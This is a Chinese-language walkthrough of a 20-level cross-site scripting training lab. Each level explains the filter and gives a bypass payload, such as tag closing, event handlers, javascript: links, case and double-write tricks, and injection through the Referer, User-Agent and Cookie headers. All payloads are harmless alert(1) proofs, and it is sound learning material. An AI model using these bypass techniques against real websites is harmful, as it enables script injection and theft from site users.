0x01 Level 1
檢視原始碼,可以看到接收了name引數,並直接嵌入到HTML頁面中了
沒有任何過濾,而且直接會當作程式碼執行。
0x02 Level 2
先傳入<script>alert(1)</script>觀察一下,發現輸入的內容被放在了value的值中,被當作值時是不會執行程式碼的,所以我們要閉合前面的標籤。
用">閉合<input>標籤,然後開始一條新的標籤語句。
0x03 Level 3
首先檢視HTML程式碼閉合前面的標籤再寫入<script>標籤,發現不成功,看起來閉合無效,還是被當作值來解析的。
這是由於原始碼中使用了htmlspecialchars()函式對特殊字元進行了HTML實體轉義,所以無法發揮字元原來的作用。
既然不能使用<、>這類字元,那麼就使用標籤的on事件,構造
1' onfocus='alert(1) //通過輸入的HTML程式碼變化,得知這裡要使用單引號閉合,執行後點選輸入框就會產生彈窗
0x04 Level 4
使用上題的payload,不過這題是使用雙引號"閉合
0x05 Level 5
使用第四關的payload進行測試,發現on被轉義了
使用">閉合前面的標籤,再構造<script>標籤,發現script也被轉義了,不過好訊息是">閉合成功了,可以使用其他標籤進行嘗試。
傳入:"><a href="javascript:alert(1)">click</a>
點選click出現彈窗
0x06 Level 6
使用上一關的payload進行測試,發現對href進行了轉義,經過測試發現對on和script都進行了轉義。
檢視原始碼發現它匹配前沒有進行大小寫統一,只能匹配小寫的進行轉義
因此,大小寫混淆繞過
"><body Onload=alert(1)>
0x07 Level 7
使用"><script>alert(1)</script>進行測試,發現script都變成空
嘗試雙寫繞過
"><scscriptript>alert(1)</scscriptript>
0x08 Level 8
先測試一下,發現輸入的內容被傳到了兩個地方,並且script被轉義了
檢視原始碼發現基本上都被過濾了
嘗試HTML編碼繞過
因為引數的值直接被傳入到了href之中,所以可以使用javascript偽協議,構造payload:
javascript:alert(1) //即javascript:alert(1)
點選友情連結,出現彈窗
0x09 Level 9
通過原始碼發現比上題多了一個條件,就是對輸入的內容進行校驗,必須含有http://,否則判定“您的連結不合法?有沒有!”
在alert()中加入http://
javascript:alert(1http://)
0x10 Level 10
檢視HTML程式碼,看到三個<input>標籤的型別是隱藏型別
測試一下哪些標籤是可以傳值的
?keyword=well%20done!&t_link="type="text&t_hidden="type="text&t_sort="type="text
可以看到名為t_sort的輸入標籤的型別變成了text型,證明是可以傳值的
可以看原始碼驗證一下
構造payload:
?keyword=1&t_sort=" autofocus onfocus="alert(1)
0x11 Level 11
檢視HTML程式碼,發現有四個隱藏標籤
使用之前的方法測試,發現t_sort引數還是能傳入值的
&t_link="type="text&t_hidden="type="text&t_sort="type="text&t_ref="type="text
檢視原始碼,看到$_SERVER['HTTP_REFERER']欄位,HTTP_REFERER是用來獲取請求中的Referer欄位。
傳入Referer值進行測試
" onfocus="alert(1)" type="text
可以看到Referer的值被傳入了t_ref的標籤中,彈窗成功
0x12 Level 12
檢視HTML程式碼,第四個標籤中的value值一看就是User Agent的內容
直接構造payload:
user-agent" onfocus="alert(1)" type="text
彈出視窗
0x13 Level 13
檢視HTML程式碼,看到t_cook結合前幾關會不會想到cookie
傳入Cookie值進行測試,發現Cookie並沒有被傳入HTML標籤中
使用burpsuite抓個初始包看看,發現Cookie有一個鍵名user,忘記了必須給鍵名賦值才行
更改資料包的Cookie值後,Forward放包
Cookie值被傳到了HTML標籤中,並且彈出了視窗
0x14 Level 14
這題是關於Exif的,Exif叫做可交換影像格式,是專門為數位相機的照片設定的,可以記錄數碼照片的屬性資訊和拍攝資料。
這題比較冷門,暫時不想做,有興趣的自行了解。
0x15 Level 15
檢視HTML原始碼發現有一個ngInclude。
通過查詢發現ng-include 指令用於包含外部的 HTML 檔案;
包含的內容將作為指定元素的子節點;
ng-include屬性的值可以是一個表示式,返回一個檔名;
預設情況下,包含的檔案需要包含在同一個域名下。
構造payload:
?src='level1.php?name=<a href="javascript:alert(1)">'
0x16 Level 16
使用<script>標籤進行測試,發現script被替換成了空位元組
檢視原始碼,可以看到程式碼對空格進行了實體轉義
、
使用%0a代替空格,構造payload:
<body%0aonload=alert(1)>
// 繞過空格的方法還有很多,比如%0b,%0c,%0d,%09等等
0x17 Level 17
檢視HTML原始碼
看起來像引數拼接,構造payload:
arg01=%20onfocus&arg02=alert(1)
0x18 Level 18
和上題一樣的方法
arg01=%20onfocus&arg02=alert(1)
0x19 Level 19
我的谷歌和火狐都不支援,不做了
放個答案
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
0x20 Level 20
看到AngularJS想到了它存在模板注入
測試了一下沒成功
貼上別人的payload:
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
暫時不懂,等會了再補吧,如果想知道的話自行去了解吧!